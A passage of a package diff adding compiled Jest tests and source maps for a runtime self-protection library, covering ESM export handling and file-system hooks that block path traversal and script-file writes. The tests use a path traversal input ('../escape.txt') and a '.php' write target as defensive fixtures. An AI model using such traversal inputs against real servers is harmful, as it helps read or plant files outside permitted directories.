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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export {};
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const esm_1 = require("../hooks/esm");
|
|
4
|
+
const namespace = (props) => Object.freeze(Object.assign(Object.create(null), props, { [Symbol.toStringTag]: 'Module' }));
|
|
5
|
+
describe('moduleExports', () => {
|
|
6
|
+
it("gives a CommonJS package's exports object for its ESM namespace", () => {
|
|
7
|
+
const cjs = { Client: function Client() { } };
|
|
8
|
+
expect((0, esm_1.moduleExports)(namespace({ default: cjs }))).toBe(cjs);
|
|
9
|
+
});
|
|
10
|
+
it('leaves CommonJS exports, and namespaces without an object default, as they are', () => {
|
|
11
|
+
const cjs = { Client: function Client() { } };
|
|
12
|
+
expect((0, esm_1.moduleExports)(cjs)).toBe(cjs);
|
|
13
|
+
const esm = namespace({ default: 'text', render: () => '' });
|
|
14
|
+
expect((0, esm_1.moduleExports)(esm)).toBe(esm);
|
|
15
|
+
const noDefault = namespace({ render: () => '' });
|
|
16
|
+
expect((0, esm_1.moduleExports)(noDefault)).toBe(noDefault);
|
|
17
|
+
expect((0, esm_1.moduleExports)(undefined)).toBeUndefined();
|
|
18
|
+
});
|
|
19
|
+
});
|
|
20
|
+
//# sourceMappingURL=esm-exports.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"esm-exports.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/esm-exports.test.ts"],"names":[],"mappings":";;AAAA,sCAA6C;AAE7C,MAAM,SAAS,GAAG,CAAC,KAA8B,EAAE,EAAE,CACnD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;AAE/F,QAAQ,CAAC,eAAe,EAAE,GAAG,EAAE;IAC7B,EAAE,CAAC,iEAAiE,EAAE,GAAG,EAAE;QACzE,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAC/D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gFAAgF,EAAE,GAAG,EAAE;QACxF,MAAM,GAAG,GAAG,EAAE,MAAM,EAAE,SAAS,MAAM,KAAI,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,GAAG,GAAG,SAAS,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAC7D,MAAM,CAAC,IAAA,mBAAa,EAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACrC,MAAM,SAAS,GAAG,SAAS,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;QAClD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;QACjD,MAAM,CAAC,IAAA,mBAAa,EAAC,SAAS,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;IACnD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export {};
|
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
const fs = require("fs");
|
|
37
|
+
const os_1 = require("os");
|
|
38
|
+
const path_1 = require("path");
|
|
39
|
+
const url_1 = require("url");
|
|
40
|
+
const util_1 = require("util");
|
|
41
|
+
const detect = __importStar(require("../detect"));
|
|
42
|
+
const context_1 = require("../context");
|
|
43
|
+
const engine_1 = require("../engine");
|
|
44
|
+
const types_1 = require("../types");
|
|
45
|
+
const fs_1 = require("../hooks/fs");
|
|
46
|
+
let dir;
|
|
47
|
+
let file;
|
|
48
|
+
const request = (fn) => (0, context_1.runWithInputs)([{ value: '../escape.txt', key: 'query.q', source: 'request' }], fn, { inRequest: true });
|
|
49
|
+
const mode = (value) => (0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: value, env: {} });
|
|
50
|
+
const mappings = [
|
|
51
|
+
['readFile', 'read'], ['readFileSync', 'read'], ['createReadStream', 'read'],
|
|
52
|
+
['open', 'read'], ['openSync', 'read'], ['writeFile', 'write'], ['writeFileSync', 'write'],
|
|
53
|
+
['appendFile', 'append'], ['appendFileSync', 'append'], ['createWriteStream', 'write'],
|
|
54
|
+
['unlink', 'delete'], ['unlinkSync', 'delete'], ['rm', 'delete'], ['rmSync', 'delete'],
|
|
55
|
+
['rename', 'rename'], ['renameSync', 'rename'], ['readdir', 'list'], ['readdirSync', 'list'],
|
|
56
|
+
['copyFile', 'read'], ['copyFileSync', 'read'],
|
|
57
|
+
];
|
|
58
|
+
function invoke(owner, api, values) {
|
|
59
|
+
return Reflect.apply(Reflect.get(owner, api), owner, values);
|
|
60
|
+
}
|
|
61
|
+
beforeEach(() => {
|
|
62
|
+
dir = fs.mkdtempSync((0, path_1.join)((0, os_1.tmpdir)(), 'rasp-fs-'));
|
|
63
|
+
file = (0, path_1.join)(dir, 'fixture.txt');
|
|
64
|
+
fs.writeFileSync(file, 'fixture');
|
|
65
|
+
mode('block');
|
|
66
|
+
(0, engine_1.setEventSink)({ add: () => undefined });
|
|
67
|
+
});
|
|
68
|
+
afterEach(() => {
|
|
69
|
+
(0, fs_1.uninstallFsHooks)();
|
|
70
|
+
jest.restoreAllMocks();
|
|
71
|
+
(0, engine_1.setEventSink)(undefined);
|
|
72
|
+
(0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
|
|
73
|
+
fs.rmSync(dir, { recursive: true, force: true });
|
|
74
|
+
});
|
|
75
|
+
describe.each([false, true])('promise owner: %s', promises => {
|
|
76
|
+
test.each(mappings)('%s checks its path before calling the original', async (api, op) => {
|
|
77
|
+
const owner = promises ? fs.promises : fs;
|
|
78
|
+
if (!Object.prototype.hasOwnProperty.call(owner, api))
|
|
79
|
+
return;
|
|
80
|
+
// Replace only the I/O boundary: checking every entry point must not leave
|
|
81
|
+
// pending streams, callbacks, or open descriptors behind.
|
|
82
|
+
const descriptor = Object.getOwnPropertyDescriptor(owner, api);
|
|
83
|
+
const original = jest.fn(() => promises ? Promise.resolve('result') : 'result');
|
|
84
|
+
Object.defineProperty(owner, api, { ...descriptor, value: original });
|
|
85
|
+
try {
|
|
86
|
+
const detector = jest.spyOn(detect, 'detectPath').mockReturnValue(null);
|
|
87
|
+
expect((0, fs_1.installFsHooks)()).toBe(true);
|
|
88
|
+
const target = (0, path_1.join)(dir, 'target.txt');
|
|
89
|
+
const values = api.startsWith('rename') || api.startsWith('copyFile') ? [file, target] : [file, 'r'];
|
|
90
|
+
await request(() => invoke(owner, api, values));
|
|
91
|
+
expect(detector).toHaveBeenCalledWith(file, op, expect.any(Array), [], true);
|
|
92
|
+
if (api.startsWith('rename') || api.startsWith('copyFile')) {
|
|
93
|
+
expect(detector).toHaveBeenCalledWith(target, api.startsWith('copyFile') ? 'write' : 'rename', expect.any(Array), [], true);
|
|
94
|
+
}
|
|
95
|
+
expect(original).toHaveBeenCalledWith(...values);
|
|
96
|
+
}
|
|
97
|
+
finally {
|
|
98
|
+
(0, fs_1.uninstallFsHooks)();
|
|
99
|
+
Object.defineProperty(owner, api, descriptor);
|
|
100
|
+
}
|
|
101
|
+
});
|
|
102
|
+
});
|
|
103
|
+
test('a copy reports the strongest of its two paths', () => {
|
|
104
|
+
(0, engine_1.configureEngine)({ enabled: true, applicationName: 'a', mode: 'block', attacks: { path_traversal: 'monitor', file_write: 'block' }, env: {} });
|
|
105
|
+
const original = jest.spyOn(fs, 'copyFileSync');
|
|
106
|
+
jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
|
|
107
|
+
? { attack: 'path_traversal', rule: 'path.traversal' }
|
|
108
|
+
: { attack: 'file_write', rule: 'file_write.script' });
|
|
109
|
+
(0, fs_1.installFsHooks)();
|
|
110
|
+
expect(() => request(() => fs.copyFileSync(file, (0, path_1.join)(dir, 'copy.txt')))).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
|
|
111
|
+
expect(original).not.toHaveBeenCalled();
|
|
112
|
+
});
|
|
113
|
+
test('a path that lost to a blocked copy is still checked later in the request', () => {
|
|
114
|
+
const original = jest.spyOn(fs, 'writeFileSync');
|
|
115
|
+
jest.spyOn(detect, 'detectPath').mockImplementation((_path, op) => op === 'read'
|
|
116
|
+
? { attack: 'path_traversal', rule: 'path.traversal' }
|
|
117
|
+
: { attack: 'file_write', rule: 'file_write.script' });
|
|
118
|
+
(0, fs_1.installFsHooks)();
|
|
119
|
+
const target = (0, path_1.join)(dir, 'copy.php');
|
|
120
|
+
request(() => {
|
|
121
|
+
// Tie: the source wins and blocks; the app catches the error.
|
|
122
|
+
expect(() => fs.copyFileSync(file, target)).toThrow(expect.objectContaining({ rule: 'path.traversal' }));
|
|
123
|
+
expect(() => fs.writeFileSync(target, 'x')).toThrow(expect.objectContaining({ rule: 'file_write.script' }));
|
|
124
|
+
});
|
|
125
|
+
expect(original).not.toHaveBeenCalled();
|
|
126
|
+
});
|
|
127
|
+
